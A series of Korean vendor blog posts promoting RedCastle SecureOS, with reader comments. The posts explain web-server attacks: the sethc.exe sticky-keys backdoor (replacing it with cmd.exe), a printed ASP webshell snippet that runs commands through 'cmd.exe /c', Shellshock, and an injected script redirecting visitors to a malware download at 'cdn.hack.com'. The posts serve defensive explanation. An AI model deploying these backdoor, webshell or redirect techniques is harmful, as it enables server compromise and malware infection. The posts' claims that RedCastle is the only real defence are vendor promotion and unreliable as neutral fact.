이젠 C:\Temp 폴더에도 c.gif 라는 파일을 업로드한 뒤 find.exe 명령을 실행한다. 그외에도 다양한 방법으로 cmd.exe를 실행하려 하거나 csc와 같은 컴파일러를 실행하려 하기도 한다. 당연히 이러한 Violation 로그를 발생시키며 차단된다.


이후에도 해커는 미련을 버리지 못하고 간간히 웹 소스의 변조를 시도한다. 웹의 취약점을 이용해 Web.config 파일을 계속 수정하려 시도한다. 하지만 변조는 RedCastle에 의해 차단되고 아래 처럼 감사로그가 기록된다.



해커는 이제 마지막으로 새로운 공격을 감행한다. 앞의 포스트에 올린 sethc.exe 취약점을 공격한 것이다. sethc.exe를 변조하고 sethc.exe를 통해 다른 파일을 실행하거나 파일을 수정/삭제하려 시도하였다.





이쯤에서 해커는 더 이상의 해킹이 어렵다고 판단했는지 더 이상의 공격을 하지는 않고 있다.


하지만 아쉬운 점은 많은 공격 사례가 그렇듯 해커가 어떻게 침투했는지 그 경로를 파악하지 못했다는 점이다. 워낙 소스파일 경로가 복잡하고 수 많은 파일들이 존재하긴 했지만 해당 웹사이트 운영자와 개발자는 해커가 어떤 취약점을 통해 침투했는지를 파악할 엄두를 내지 못하고 있었다. (사실 가장 중요한 것이 악용된 취약점을 찾는 것인데...)


자세한 결과는 알지 못하지만 다른 웹 쉘 탐지 솔루션과 보안 컨설팅 업체에 분석을 요구했으나 해커가 설치한 일부 변조된 운영체제의 백도어 파일(앞의 sethc.exe와 같은)을 찾아낸 것과 웹쉘로 의심(?)되는 파일을 찾아 지운 것 이외에는 만족할 만한 성과를 거두지는 못한 듯 하다. 


이렇게 해커가 공격에 활용하는 취약점을 찾아 수정하지 못한 채 취약점을 통한 다양한 공격을 실질적으로 방어할 수 있는 보안 솔루션은 RedCastle SecureOS 이외에는 없다. 취약점을 찾는 동안 쉼없이 변조되는 소스파일들을 변조될 때 마다 알럿을 발생시켜 복구하는 수동적인 방식으로는 대응이 불가능하다. 일단 RedCastle SecureOS로 변조를 최후단에서 차단하면서 취약점을 찾는 과정을 거치는 것이 정답이라 할 수 있겠다.


그나마 취약점을 찾지 못해 웹 소스파일 변조 공격과 공격도구의 업로드 및 실행이 지속되는 동안 RedCastle을 통해 방어할 수 있었고 그로 인해 해커가 공격을 멈춘 것에 만족해야 했다. 결국 그 고객사는 RedCastle을 도입했고 현재 스스로 운용 중이다. 이따금씩 정책 관련 문의가 오고는 있으나 현재는 공격이 들어오지는 않고 있는 듯 하다. 


하지만 공격이 들어오더라도 실시간으로 차단하고 감사로그를 실시간으로 보여주기에 예전 처럼 무방비 상태로 공격을 당하고만 있지는 않을 것이다.






  • 지후대디 2014.12.21 23:39 신고

    해커의 끈기가 놀랍군요 꼭 뚫고 싶은 동기라도 있었나 봅니다 흥미진진하게 보고 갑니다 ^^

    • taeho Tae-Ho 2014.12.22 13:20 신고

      저도 뭔가 이해관계가 있는 사람과 연관이 있는게 아닐까 하는 생각을 안할래야 안 할 수가 없었습니다.

  • 에스델 ♥ 2014.12.22 13:18 신고

    휴지통에서 악성코드를 실행하다니~
    놀랍습니다.

    • taeho Tae-Ho 2014.12.22 13:21 신고

      선구자적 해커들은 상식을 깨는 사고를 많이 합니다. 당연히 다른 해커들은 그것을 따라하고요.. ^^

  • 오이란 2014.12.22 16:28 신고

    좋은 포스팅 너무나도 잘 보고 갑니다!
    포스팅 잘 봤네요. 즐거운 하루 되시길!!

  • RCE_Mania 2014.12.23 09:49 신고

    잘보고 갑니다!

  • 쭈니러스 2014.12.25 19:40 신고

    엄청나군요... 이것도 능력이겠죠ㅎㅎ


윈도 운영체제는 태생적으로 갖고 있는 문제들로 인해 아직도 매우 취약한 운영체제로 분류됩니다. 현재 진행형인 보안사고 사례에서 재미있는(?) 윈도 운영체제의 취약성을 알게 되어 소개하고자 합니다. 윈도서버에 매우 손쉽게 백도어를 생성할 수 있는 방법 중 하나입니다.


유닉스나 리눅스가 갖고 있는 쉘카피백도어와 비슷한 백도어 생성기법 중 하나입니다. sethc.exe는 C:\Windows\system32 디렉토리에 있는 시스템 파일입니다.(이 파일의 용도 설명은 생략합니다.)  그리고 이 명령어는 Shift 키를 다섯번 연속으로 누르면 실행되는 다음 화면을 보여주는 명령어 입니다.



아마 많은 분들이 "아하~~이 화면..."이라고 생각하실 겁니다. 맞습니다. sethc.exe는 바로 이 화면을 보여주는 명령어 입니다. 그리고 아래 화면처럼 작업관리자에서 확인할 수 있습니다. 그런데 웃긴 것은 로그아웃 된 상태에서도 shift 키를 다섯 번 누르면 실행된다는 사실입니다.


해커들은 여기서 힌트를 얻은 것으로 보입니다. 만약 sethc.exe 파일을 삭제하고 cmd.exe를 복사하여 sethc.exe로 바꿔치기 하거나 해커들이 실행되기를 원하는 악성코드파일로 변조하면 어떨까?? 라는 생각을 하게 된 것입니다. 그리고 해커들은 더 나아가 sethc.exe가 shift 키 5회 연속 눌림이 아닌 다른 방법으로도 원격에서 호출할 수 있다는 것과 sethc.exe가 관리자 계정의 비밀번호를 변경할 수 있는 취약점이 있다는 것도 찾아냈습니다. (정말 존경스러울 만큼 대단한 열정을 갖고 있습니다.. -.-)


Windows 2003 서버는 물론이고 Windows7도 이 아이디어가 그대로 현실로 적용됩니다. Windows 2008 이상의 서버는 운영체제의 변조를 막아주긴 합니다만 관리자 권한을 얻으면 얼마든지 해제할 수 있기 때문에 실상 큰 도움은 되지 않습니다. 오늘 현재 해커의 공격을 받고 있는 서버도 이 sethc.exe가 변조된 것을 확인했으니까요.


그래서 위 화면을 캡쳐한 Windows 2008에서 테스트를 해봤습니다. sethc.exe를 다른이름으로 변경해놓고 cmd.exe를 sethc.exe로 복사하여 두고 로그오프된 상태에서 Shift 키를 5회 연속으로 눌러봤습니다. 로그인을 하지 않고도 cmd.exe를 호출할 수 있었습니다. 로그인하지 않은 채 cmd.exe를 사용할 수 있는 완벽한 백도어인 셈입니다.


이 취약점은 운영체제 파일들에 대한 변조(수정,삭제,생성,리네임)등을 관리자 권한으로도 하지 못하도록 통제하지 않으면 제거할 수 없는 매우 크리티컬한 취약점이라고 할 수 있습니다. 방법은 RedCastle과 같은 SecureOS를 통해 관리자 권한으로도 해제할 수 없는 운영체제 파일의 수정/변조 차단을 적용하는 것입니다.


아래 동영상을 확인하세요. 로그오프 상태에서 15초 지점에서 Shift키를 5회 연속으로 눌렀고 로그인 한 뒤 55초 지점에서 또 shift키를 5회 연속으로 눌러줬습니다. 두 번 모두 cmd.exe가 실행되는 것을 확인할 수 있습니다.


너무 쉽죠??? 그만큼 Windows 운영체제는 보안에 취약합니다. 위 화면에 표시된 대로 접근성 센터에 가서 이 기능을 꼭 꺼주시기 바랍니다. 




  • 에스델 ♥ 2014.12.08 13:52 신고

    윈도우 운영체제가 이렇게 보안에
    취약하다니~ 충격입니다....ㅠㅠ

  • 쭈니러스 2014.12.09 20:37 신고

    보안 문제다 보니 불안하군요;;

    • taeho Tae-Ho 2014.12.11 22:17 신고

      윈도가...태생적으로..보안에 취약한 구조로 설계되어 있습니다. 게다가 보안에 더욱 취약한 HTTP(웹)을 함께 쓰니 더 보안에 취약한 상태가 되지요.
      부실과 부실이 만나...더 큰 부실을 초래한 결과지요.

      부실은행과 부실은행을 합쳐 덩치만 더 키워놓으니 더 큰 부실이 생겨 지금 매각하려 해도 매각이 안되는 상황...네..딱 그 상황과 비슷하죠..
      http://www.ohmynews.com/NWS_Web/View/at_pg.aspx?CNTN_CD=A0002006439

      그래서 문제점이 발견되면 힘들더라도 초기에 뜯어 고쳐야 하는 법인데...윈도는 이제 그 시점을 놓친 상태라 보는게 옳을 것 입니다.

  • convon 2015.11.13 01:07 신고

    요즘 드론이 화제가 되고 있는데 이 드론에 백도어기법을 사용하는 방법을 가르쳐주실 수 있나요?

    • taeho Tae-Ho 2015.11.14 13:41 신고

      드론도 간단하나마 내부적으로 무선조종기(컨트롤러)와 통신하고 동작하기 위한 일종의 펌웨어가 내장되어 있을 겁니다. 하지만 드론을 제조하는 과정이 아니라면 원격에서 백도어역할을 수행할 악성코드에 감염시키는 것은 현재의 드론에는 불가능에 가깝습니다.
      하지만 드론과 컨트롤러의 통신 주파수와 무선 통신의 변조방식 혹은 프로토콜을 해킹할 수 있다면 드론의 조작을 가로채 드론을 탈취하거나 드론이 추락하도록 공격은 가능합니다. 하지만 그러려면 무척 큰 노력이 필요하겠죠.
      해커는 매우 강한 호기심과 그 호기심을 실제로 구현할 수 있는 끈기와 노력 그리고 실력을 갖추어야 합니다.
      그리고 전 그런 짓을 할 마음은 없습니다. 그래서 아쉽게도 가르쳐드릴만한 드론에 대한 지식이 없네요. ^^

  • convon 2015.11.14 16:34 신고

    답변주셔서 감사드립니다


해킹 공격 중에 DOS(혹은 DDOS) 다음으로 많이 발생하는(어쩌면 반대일 수도) 공격이 바로 웹쉘을 통한 웹서버 공격입니다. 해커들이 웹서버를 공격할 때 가장 즐겨 사용하는 공격도구이자 취약점이 바로 웹쉘입니다.


웹쉘은 Unix/Linux는 물론 Windows 서버까지 운영체제를 가리지 않고 존재합니다. 또한 JSP, ASP 등 웹서버에서 구동되는 언어 또한 가라지 않고 다양한 웹쉘이 존재합니다. 게다가 파일탐색기, 파일업로드, 파일의 생성/수정/삭제는 물론 서버 내의 명령어 실행까지 가능한 토탈패키지 형태의 웹쉘도 존재하고 기존의 운영중인 웹페이지의 소스에 한 두줄을 추가(변조)하여 해커가 원하는 한 가지 기능만 수행하도록 하는 탐지가 거의 불가능한 웹쉘도 존재합니다.


하지만 웹쉘의 공통적인 기능은 "웹서버 대몬 서비스를 통해 서버내에서 명령(명령어 혹은 파일수정 등)을 실행한다"는 것입니다.



윈도 서버에서 동작하는 웹쉘을 하나 선정하여 살펴보도록 하겠습니다.


아래 화면은 해커에 의해 업로드 된 웹쉘을 웹브라우저에서 호출한 화면입니다.



이 웹쉘은 SQL인젝션, 파일업로드, 리버스텔넷, 탐색기 기능을 갖춘 토탈패키지형 웹쉘입니다. 물론 꽤나 오래된 웹쉘이라 일부 기능은 테스트한 윈도2008 서버에서는 동작하지 않는 기능도 있습니다만... 해커가 필요로 하는 명령어 실행 기능은 매우 잘 동작합니다.



웹쉘을 통해 서버의 IP 및 네트워크 정보를 확인하기 위해 ipconfig 명령을 실행한 화면입니다. 

웹쉘을 통해 서버내의 명령을 실행하는 것은 앞의 포스트에서 여러차례 언급했 듯 서버보안SW인 RedCastle을 통해 완벽하게 차단할 수 있습니다.


 (관련 글 목록 보기)   /  웹쉘을 통한 웹페이지 변조 및 차단 방안 보러가기


이 웹쉘이 어떻게 동작하는지는 위반로그(차단로그)를 확인하면 알 수 있습니다.



웹쉘이 RedCastle의 정책에 의해 차단되면 "Execute violation" 위반이 발생합니다. 누군가가 cmd.exe를 실행한 것입니다.

아랫부분의 주체정보의 프로세스를 보면 "w3wp.exe"가 주체이고 객체정보의 프로세스는 "cmd.exe"인 것을 알 수 있습니다. 즉 w3wp.exe(IIS웹서버 대몬)가 cmd.exe를 실행한 것입니다. 아마도 이 웹쉘은 아래 화면처럼 cmd.exe에게 ipconfig.exe를 실행하도록 할 것입니다.



대부분의 웹쉘은 위 화면과 같이 cmd.exe 명령어 뒤에 /C와 같은 옵션을 주고 최종적으로 실행할 명령어를 포함하는 명령문을 만들어 웹서버(w3wp.exe)를 통해 실행합니다. 때문에 IIS 웹서버 대몬인 w3wp.exe가 cmd.exe를 읽거나 실행하지 못하도록 하면 웹서버에 업로드 된 웹쉘이 운영체제의 명령어를 실행하는 것을 완벽하게 차단할 수 있습니다.


이 웹쉘의 소스를 살펴보면 아래와 같이 cmd.exe에 실행할 명령을 조합하여 전달하는 것을 알 수 있습니다.


DIM prompt

prompt = Server.mappath(".")

Set CMD=Server.CreateObject("Wscript.Shell")

Set FP=Server.CreateObject("Scripting.FileSystemObject")


IF command <> "" Then

Tempfile=prompt & "\" & FP.GetTempName()

On Error Resume Next

Call CMD.Run ("cmd.exe /c " & command &" > " & Tempfile & " 2> " & Tempfile & "err", 0, True)


이 웹쉘에서는 CMD라는 wscript 객체를 만들고 run이라는 메소드를 이용해 실행할 명령을 전달하였지만 이외에도 웹서버 대몬을 통해 명령어를 실행하는 방법은 매우 다양하기 때문에 네트워크 수준에서 HTTP 프로토콜을 통해 웹브라우저와 웹서버간에 오가는 웹쉘의 트래픽을 분석하여 차단하는 것은 현실적으로 거의 불가능합니다.


그렇기 때문에 웹쉘을 효과적으로 차단하기 위해서는 서버내에서 웹서버 대몬이 운영체제의 영역에 접근하는 것을 차단하는 것이 가장 확실한 방법입니다.




  • Orangeline 2014.10.29 17:21 신고

    너무 전문적이라 머라 댓글을 남기기가 힘들군요. ^^
    어쨋거나 효과적인 차단 방법은 운영체제에 접근하지 못하게 하는게 중요하군요!

    • taeho Tae-Ho 2014.10.29 17:23 신고

      ㅎㅎ 그냥 패쑤~~하셔도 됩니다~~~
      근데..코딩하신다면 이정도는... ^^

  • 에스델 ♥ 2014.10.30 09:54 신고

    해킹공격 중에 웹셀을 통한
    웹서버 공격이 많다는 사실을
    알게되었습니다.^^
    즐거운 목요일 보내세요!

  • 2016.08.18 17:48

    비밀댓글입니다

    • taeho Tae-Ho 2016.08.18 21:11 신고

      1. 1번 질문에서 'w3wp.exe가 cmd.exe를 읽거나 실행하지 못하도록' 이 의미하는 바는 RedCastle SecureOS를 이용해 파일과 명령에 대한 접근통제를 수행해야 한다는 의미입니다. Windows에도 방화벽 뿐만 아니라 Unix의 File Permission 처럼 파일에 대해 접근 권한을 부여하는 보안기능이 지원됩니다. 하지만 Windows의 파일 접근권한으로는 완벽하게 통제하기가 현재로서는 불가능합니다. 우회적으로 Windows의 시스템 명령어 수행 시 "관리자 권한"이 필요한 것을 보셨겠죠. 해당 기능이 우회적으로 w3wp.exe가 cmd를 실행하여 시스템 설정을 건드리지 못하도록 하는 것입니다만. 일단 서버가 해킹되어 뚫리면 해커들은 운영체제 취약점을 이용해 관리자 권한을 얻기 때문에 큰 효과는 없다고 보여집니다.

      2. Windows는 운영체제의 근본적인 권한 분리 미흡으로 인해 서버에 생성되는 관리자 계정은 대부분 Administrators 그룹에 소속시키는 것이 일반적입니다. 그럼에도 불구하고 계정을 식별하여 특정 관리자 계정에서만 cmd.exe를 실행할 수 있도록 통제할 수는 있습니다. Windows의 파일에 대한 접근 통제 권한 설정 기능을 이용하면 됩니다. 하지만 서버가 한두대가 아닌 경우가 많고 특수 권한에 대한 접근통제 권한을 주기적으로 검토하여야 하기 때문에 개별 서버의 보안기능을 이용해 해당 통제를 수행하는 것은 현실적으로 어렵습니다.

  • 2016.08.19 10:15

    비밀댓글입니다


얼마 전에 리눅스 운영체제의 기본적인 쉘(shell)인 bash의 취약점이 발견되어 인터넷을 통해 널리 알려졌습니다.


하지만 이번에 발표된 취약점의 특징은 하트블리드 취약점과는 달리 네트워크 프로토콜의 결함이 아닌 리눅스에서 가장 널리 사용되는 쉘(shell)인 bash (bourne-again shell)의 취약점입니다


저는 처음에 자세한 내용이 아닌 트위터나 페이스북에 올린 한두 줄의  bash 취약점 소식을 듣고... "쉘이 원래 명령어를 실행하기 위한 도구인데...버그일 수는 있지만 취약점일까??" 싶었습니다. 한동안 이리저리 신경 쓸 일이 많아 오늘에야 자세한 내용을 살펴보니 참 황당한 bash의 버그였고 해킹에 악용된다면 웹쉘이 업로드된 수준의 위험을 갖는 취약점이었습니다.


쉘이 어떤 것인지 궁금하신 분은 다음의 포스트를 참고하세요.


관련 포스트 : 쉘을 이해하자. http://blogger.pe.kr/300


하지만 자세한 내용을 살펴보니... RedCastle SecureOS를 이용해 기본적인 정책만 적용해 두었다면..적어도 웹서버와 같이 인터넷에 개방되어 있는 서버에서도 걱정하지 않아도 되는데...라는 생각이 들었습니다.


먼저 bash 취약점에 대해 간단히 설명하면....


인터넷에 이런 문장이 떠돕니다. 하지만 그 의미를 정확히 이해하고 있는 사람은 얼마나 될까 싶습니다. 



간단히 설명하면 먼저 bash에는 (환경)변수라는 것이 있습니다.프로그래밍에 기본적으로 등장하는 변수와 개념이 같다고 보면 됩니다. 하지만 bash에서는 그 활용도가 조금 더 넓습니다. bash에서는 환경변수에 값이 아닌 함수를 등록하고 bash -c  [변수명] 과 같은 방법으로 변수에 등록된 함수를 실행시킬 수 있습니다.


위의 문장은 변수에 함수를 등록하는 과정을 수행하는 것인데 조금 이해하기 쉽게 바꿔서 써보면 다음과 같이 쓸 수 있습니다.



위와 같이 풀어쓰면 한 줄로 쓴는 것보다 조금 이해하기 쉽습니다. 

C나 java 등의 언어로 코딩을 조금이라도 해본 엔지니어라면 함수안에서 실제 수행될 코드는 중괄호 사이 {  } 라는 것을 이해할 것입니다.그런데 함수의 정의가 끝난 뒤에 두 라인의 명령이 있습니다. 사실 이런 경우는 에러가 나면서 실행이 안되어야 합니다. 하지만 bash에서 함수를 실행하기 위해 파싱하는 과정에서 중괄호의 끝인 } 와 ' 사이에 있는 명령(echo)과 ' 뒤의 명령(bash -c)을 실행시켜버리는 버그가 있는 것입니다.



과연 이 버그를 해커들이 어떻게 활용할 수 있을까를 생각해보면 웹쉘처럼 악용할 수 있습니다. 운영중인 웹서버에서 bash에 접근할 수 있는 있는 취약점을 찾을 수 있다면 해커는 서버에서 Telnet, SSH로 접속한 것과 같이 웹서버가 실행중인 계정으로 자신이 원하는 명령어를 얼마든지 원격에서 실행할 수 있습니다. 궂이 웹쉘을 서버에 업로드 하고 그 경로를 찾는 과정을 거치지 않아도 웹쉘과 같은 효과를 얻을 수 있는 것이죠.


위의 명령을 조금...아주 조금만 바꿔보면 다음과 같이 패스워드 파일을 읽는 것도 가능합니다.못할게 없습니다. 심지어 서버에다 스크립트를 만들어 실행하거나 웹의 소스를 위변조하거나 서버를 다운시키는 공격도 가능합니다.



PS나 웹방화벽, 웹쉘차단 솔루션 등이 있더라도 웹서버에서 이번에 발표된 bash 취약점을 통해 운영체제의 명령어와 중요 설정파일 및 데이터 파일에 접근하지 못하게 방어하는 것은 현실적으로 불가능합니다. bash 자체를 패치하지 않는다면 말이죠.


하지만 정말 심각한 문제는 이 취약점에 원격에서 웹서버 혹은 기타 네트워크 기반의 서비스를 수행하는 애플리케이션을 통해 접근할 수 있을 때 발생합니다. 서버에 Telnet, SSH 접속한 것과 동일한 수준의 명령실행이 가능하니까요. 생각만 해도 끔직한 사고가 발생하게 됩니다.


하지만 제가 예전에 포스팅했던 "웹쉘(webshell)의 위험성과 서버보안SW(RedCastle SecureOS)를 이용한 차단방법"에서 언급된 보안 정책을 적용해두었다면 걱정하지 않아도 됩니다.


왜냐하면 이 bash 취약점을 악용하기 위해서는 웹서버 대몬(httpd, java, htmls 등)이 bash에 접근해야 하는데  RedCastle SecureOS가 보안정책에 따라 그 접근을 원천적으로 차단해주기 때문입니다.


IPS와 웹방화벽, 웹쉘차단 솔루션과 같이 보안정책이 아닌 블랙리스트 방식의 차단 룰에 의한 접근통제는 새로운 취약성에 적절하게 대응할 수 없기 때문에 취약점이 나오면 호들갑을 떨면서 새로운 패턴업데이트를 기다려야 합니다.


위의 테스트는 레드햇 엔터프라이즈 리눅스 6.4 에서 테스트했습니다. 이하 모든 리눅스에 bash 취약점이 있는 것이지요.


  • 지후대디 2014.10.01 07:29 신고

    리눅스 서버를 이용하는 경우에 필수적으로 생각해봐야 할 취약점이군요
    오늘도 한라지 지식 배우고 갑니다 ^^

    • taeho Tae-Ho 2014.10.01 07:42 신고

      사실...어디에나 버그는 있게 마련이죠... 안보여서 모를 뿐이죠... 이른 출근길 버그조심하세요... 우리가 사는곳이 매트릭스 안일지도... ㅎ ㅎ

  • Orangeline 2014.10.15 08:11 신고

    저희도 몇일전억 패치했는데

    • taeho Tae-Ho 2014.10.15 10:51 신고

      네..취약점이 발견되고 패치가 있다면 적용하는 것이 기본이죠. 기본에 충실함이 가장 중요한 조치죠~ 잘하셨네요~ ^^


최근 "302 리다이렉션 공격"이라는 해킹이 유행하고 있는 듯 합니다. 마치 새로운 대단한 공격 기법인 것처럼 호들갑을 떨지만 이것은 새로운 공격 기법은 아닙니다. 홈페이지를 변조하거나 웹 브라우저가 요청한 웹페이지에 대해 특정 자바스크립트 코드를 삽입하여 클라이언트 PC의 웹 브라우저가 악성코드를 다운로드 받게 하는 하는 수많은 공격 기법과 전혀 다를 바가 없는 일반적인..흔하디 흔한 공격 기법 입니다.


다만 302 리다이렉션은 수많은 네트워크 보안솔루션들을 우회하기 위해 등장한 변종 기법이라는 점입니다. 홈페이지의 소스파일의 위/변조를 원천적으로 차단하면 보다 강력한 보안이 이루어질 텐데 네트워크 수준에서...또는 웹 서버의 설정을 변경하여 외부URL을 포함하거나 외부 서버에 있는 파일의 다운로드 링크의 동작을 차단하다 보니 해커들이 이젠 아예 접속한 클라이언트 PC의 브라우저를 다른 웹페이지로 완전히 전환(리다이렉션 : Redirection) 시켜버리기 시작한 것입니다.


이전과 같이 클라이언트 PC를 악성코드에 감염시키기 위한 공격의 과정에서 웹서버의 소스파일을 변조하는 공격이 선행된다는 점에는 변함이 없습니다. 즉, 웹 소스 파일의 위/변조를 원천적으로 차단하지 않는 한 이러한 변형 공격 기법은 지속적으로 등장할 것입니다. (당연히 기본적으로 시큐어 코딩은 적용되어야 합니다.)


원리는 다음과 같습니다.


302 Redirection Attack302 Redirection Attack


HTTP 프로토콜에서 지원하고 있는 응답코드 302가 브라우저의 주소를 다른 주소로 Redirect 하게 되는데 이 원리를 이용하여 악성코드를 다운로드 받는 URL로 강제로 전환 시켜 버리는 기법이 바로 302 리다이렉션 공격 입니다.


이 302 리다이렉션이 특별히 위험한 이유는 파밍 공격처럼 사용자가 자신이 실행하고 접속한 사이트를 보여주는 웹 브라우저가 다른 곳으로 전환(리다이렉션)되었다는 것을 전혀 인지하지 못할 수 있기 때문입니다. 이는 해커가 사용자가 접속한 웹페이지에 다음과 유사한 형태의 리다이렉션 코드(java script 혹은 meta 태그)를 추가(변조)하였기 때문입니다.


<script language=JavaScript>

Location.href = http://cdn.hack.com/virus.exe;

</script>


위에서 Location.href 를 지정하는 부분이 바로 302 리다이렉션을 유도하는 부분입니다. 해커가 원본 웹페이지 소스에 추가한 짧은 3줄의 Java Script 코드는 웹페이지에 숨어있다가 웹페이지에 접속한 사용자의 웹브라우저로 전달되고 웹 브라우저는 위의 Location.href 를 만나는 순간..... 사용자에게 "묻지도 따지지도 않고" 브라우저를 지정된 웹페이지로 이동(리다이렉션)시켜 버립니다.때문에 사용자는 그 사실을 모를 가능성이 높습니다.


이러한 302 리다이렉션을 사용자의 웹브라우저에서 막을 수 있는 방법은 현재로서는 없습니다. 가장 좋은 방법이 웹서버의 소스파일 위변조를 차단하는 것이며 웹 소스 변조를 통해 시도하는 302 리다이렉션과 다른 공격들을 원천적으로 방어할 수 있습니다. 그리고 시큐어코딩을 통해 웹페이지 소스 수준에서의 취약성을 제거한다면 대부분의 웹서버는 해킹으로부터 안전할 수 있습니다. 물론 DDOS와 같은 서비스 거부 공격은 예외겠지만 말입니다.


관련된 글 보기

웹서버 소스 위변조 방어를 위한 SecureOS 적용에 대한 포스트 보기




  • 쭈니러스 2014.09.04 22:54 신고

    잘 보고 갑니다~ 어려운 용어들이네요ㅎㅎㅎ


해커들이 해킹을 통해 침투하고자 하는 컴퓨터는 딱~ 두종류로 요약된다. 개인의 비밀스런 정보가 저장되어 있는 Windows 운영체제가 설치된 개인용 컴퓨터와 기업의 기밀정보(고객 개인정보 포함)가 저장되어 있는 서버다. 이 두 컴퓨터에 침입하기 위한 공격 기법은 이루 셀 수 없을 정도로 다양하다. 


그중에서 최근 해커들에게 각광받고 있는 공격기법이 바로 웹서버 해킹을 통해 웹페이지의 소스를 변조하여 공다팩(Gongda pack)이라 불리는 익스플로잇 공격도구를 개인용 컴퓨터에 감염시키는 해킹기법 이다.


공다팩이 무엇인지 살펴보면...


"Dadong" 이라는 독특한 스크립트 난독화된 익스플로잇 툴킷으로서 Windows 컴퓨터에 감염되어 Microsoft의 Windows, Office 등 제품의 취약점과 Acrobat, Flash 등 서드파티 애플리케이션의 취약점을 공격하거나 외부에서 공격도구를 다운로드하여 감염된 컴퓨터를 파괴하거나 해커가 제어할 수 있도록 하는 공격용 자바(Java)스크립트" 라고 정의할 수 있다. 


공다팩을 디코딩하여 Java Script를 확인해보면 "gongda"라는 이름의 변수를 많이 사용하기 때문에 Gongda pack 이라는 이름으로 불리는데 사용자 컴퓨터의 브라우저가 IE 인지 아닌지를 체크하며 버전에 따라 모바일 브라우저인지 PC용 브라우저인지까지 체크하여 세밀한 공격을 수행하기도 한다.


이 포스트에서는 공다팩이 웹 브라우저에서 어떻게 동작하는지는 설명하지 않는다. 이 포스트에서는 웹서버가 공다팩을 유포하도록 해킹이 되는 것을 막기 위한 방안을 제시하는 것이 목적이기 때문이다.


일부 웹방화벽이나 IPS 혹은 백신에서 현재까지 알려진 공다팩이 다운로드 되는 것을 차단해주기도 하지만 변형된 공다팩이 매우 다양하고 조금만 변형되어도 인지하지 못하는 경우가 많기 때문에 공다팩에 감염되는 개인용 컴퓨터가 있는 조직에서 근본적인 방어는 불가능하다. 

공다팩에 의한 피해를 줄이는 가장 좋은 대응책은 공다팩의 최대 유포 경로인 "웹서버"의 보안을 강화하는 것이다. 웹 서버를 운영하는 기업, 공공기관, 비영리단체 그리고 개인에게는 자신들의 서버가 해킹당해 악성코드를 유포하는 것을 예방해야할 책임이 있다. 그 책임을 기관이가 기업의 웹서버에 접속하는 개인에게 지우는 것은 너무도 무책임한 처사라 할 수 있다.


공다팩 스크립트의 구조와 동작방식 보러가기


● 공다팩(gongda pack) 유포의 가장 흔한 방법과 그 의미


공다팩은 대부분 해킹되어 변조된 웹서버에 의해 유포된다. 공다팩을 유포하는 웹서버의 해당 웹페이지에는 다음과 같이 dadong's 0.44 와 같은 난독화 도구를 통해 내용을 확인할 수 없도록 인코딩 되어 있다.



해커들은 위 화면과 같은 gongda pack을 웹페이지에 추가하기 위해 다양한 방법을 사용한다. 만약 당신의 웹서버의 특정 페이지의 소스에 gongda pack이 추가되어 있다면 해당 웹서버는 이미 사망선고를 받은 것과 같다. 외부의 해커가 웹서버의 소스파일을 마음대로 변조할 수 있다는 것은 이미 해커가 해당 웹서버를 완벽하게 점령한 것과 같기 때문이다.


해커들이 gongda pack을 웹서버를 통해 유포하고 있다면


  • 웹서버 자체의 취약점 공격을 통한 관리자 권한 탈취
  • Command Injection 취약성 공격을 통한 관리자 권한 탈취
  • SQL Injection 취약성 공격을 통한 관리자 권한 탈취
  • 업로드 취약성 공격을 통한 웹쉘 업로드를 통한 관리자 권한 탈취
  • 게시판 등의 XSS, CSRF 취약성 공격을 통한 소스코드 삽입 공격


등 이미 다양한 취약성을 이용한 공격에 성공한 상태라는 의미가 된다. 이는 해당 웹서버에게 사망선고를 내리기에 충분한 사유다.


● 공다팩(gongda pack) 유포지로의 악용을 막기 위한 방안


냉정하게 이야기하면 네트워크에 기반한 보안 솔루션을 통해서 공다팩 유포를 차단할 수는 없다. 네트워크 보안 솔루션들은 대부분(90% 이상) 패킷을 분해하여 시그니처를 탐지하는 기법을 사용하는 제품이 대부분이다. 때문에 현재까지 알려진 시그니처가 아닌 변형된 공다팩이라면 탐지하지 못할 가능성이 매우 높다. 일부 시그니처 탐지 기법이 아닌 다른 기법을 사용하는 제품들이 있긴하지만 안정성이나 탐지의 정확성 측면에서 신뢰할 만한 제품은 없는 것이 현실이다.


가장 확실한 보호대책은 RedCastle과 같은 SecureOS 솔루션을 통해 웹서버의 소스파일에 대한 접근통제 정책을 적용하는 것이다. 


일부 서버에 적용하는 웹쉘 차단 솔루션이나 소스 위변조 방지 솔루션들이 있지만 RedCastle SecureOS에 비해 적용방법이 매우 복잡하고(소스를 수정해야 하는) 지속적인 유지 관리가 어려운 문제점이 있다.


RedCastle의 파일에 대한 접근통제정책은 운영체제의 커널의 System Call 수준에서 동작하기 때문에 네트워크 취약성이나 운영체제의 명령어 혹은 웹서버 대몬의 취약성과 소스파일의 취약성에 의한 변조시도도 완벽하게 차단할 수 있는 장점이 있다.


아래 포스트에서 그 내용을 확인할 수 있다.


관련 포스트


1. IIS 웹서버 해킹을 통한 악성코드 삽입 공격 방어 사례(소스 위변조 공격)

2. 홈페이지 변조 차단의 근본적인 방안은 바로 시큐어오에스(SecureOS)다.

3. 웹쉘(webshell)의 위험성과 서버보안S/W(RedCastle SecureOS)를 이용한 차단 방법



  • 2014.07.14 09:29

    비밀댓글입니다

    • taeho Tae-Ho 2014.07.14 16:21 신고

      아..이런 경사가.... ^^;;
      뜻밖이네요~~ ^^


해킹 여부 및 DDOS 공격 여부를 확인하기 위해 unix/linux 서버를 점검할 때 가장 먼저 살펴봐야할 것은 서버의 통신 상태다. 그리고 이때 사용하는 명령어는 netstat 명령이다. 만약 root권한의 탈취가 의심되고 운영체제 파일의 변조까지도 의심스럽다면 서버에 기본적으로 설치되어 있는 netstat 명령보다는 사고가 발생하지 않은 서버에서 netstat 명령어나 lsof 명령어 등을 업로드하여 사용하는 것이 좋겠다.


많은 엔지니어나 운영자들이 TCP 소켓의 상태 중에 3 way handshake 과정에 해당되는 LISTEN이나 SYN_SENT, SYN_RCVD, ESTABLISHED 등의 상태에 대해서는 잘 알고 있지만 FIN_WAIT1이나 FIN_WAIT2 등 통신 종료과정의 상태에 대해서는 어떤 의미인지를 잘 모르고 있는 경우가 많다.


TCP 통신의 종료과정은 일반적으로 4 way handshake라고 불리는 절차에 의해 진행된다. 일단 그 과정을 도식화 하면 다음과 같다.

이 4 way handshake 과정은 다음과 같이 진행된다.


1. 먼저 통신을 종료하고자 하는 클라이언트는 서버에게 FIN 플래그를 세팅한 패킷을 보내고 자신은 FIN_WAIT_1 상태가 된다.


